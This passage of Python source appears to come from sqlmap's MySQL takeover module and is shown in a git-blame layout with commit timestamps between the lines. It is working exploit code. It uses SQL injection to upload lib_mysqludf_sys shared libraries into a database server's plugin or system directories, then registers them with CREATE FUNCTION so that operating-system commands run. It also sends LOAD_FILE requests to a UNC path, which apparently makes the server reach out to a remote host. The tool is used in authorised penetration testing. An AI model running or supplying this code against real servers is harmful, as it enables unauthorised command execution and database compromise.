# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
2009-09-26 03:03:45 +04:00
|
|
|
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
2010-01-02 05:02:12 +03:00
|
|
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2010-01-02 05:02:12 +03:00
|
|
|
#logger.debug("retrieving MySQL data directory absolute path")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
|
|
|
#self.__datadir = inject.getValue("SELECT @@datadir")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
# NOTE: specifying the relative path as './udf.dll'
|
|
|
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
2010-01-02 05:02:12 +03:00
|
|
|
self.__datadir = "."
|
2010-02-04 17:50:54 +03:00
|
|
|
self.__datadir = normalizePath(ntToPosixSlashes(self.__datadir))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if re.search("[\w]\:\/", self.__datadir, re.I):
|
2010-01-02 05:02:12 +03:00
|
|
|
kb.os = "Windows"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
2009-09-26 03:03:45 +04:00
|
|
|
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
|
|
|
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
# On Linux
|
|
|
|
else:
|
|
|
|
# The SO can be in either /lib, /usr/lib or one of the
|
|
|
|
# paths specified in /etc/ld.so.conf file, none of these
|
|
|
|
# paths are writable by mysql user by default
|
|
|
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
2010-01-02 05:02:12 +03:00
|
|
|
if udf in self.udfToCreate:
|
2009-09-26 03:03:45 +04:00
|
|
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
ret = inpRet["return"]
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
|
|
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
2010-01-02 05:02:12 +03:00
|
|
|
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
self.createdUdf.add(udf)
|
|
|
|
else:
|
|
|
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def udfInjectCmd(self):
|
|
|
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
|
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if kb.os == "Windows":
|
|
|
|
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
|
|
|
self.udfSharedLibExt = "dll"
|
|
|
|
else:
|
|
|
|
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
|
|
|
self.udfSharedLibExt = "so"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
self.udfInjectCore(self.sysUdfs)
|
2010-01-02 05:02:12 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def uncPathRequest(self):
|
2010-01-02 05:02:12 +03:00
|
|
|
if not kb.stackedTest:
|
2009-04-22 15:48:07 +04:00
|
|
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
|
|
|
query = agent.postfixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
|
|
|
|
Request.queryPage(payload)
|
|
|
|
else:
|
|
|
|
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|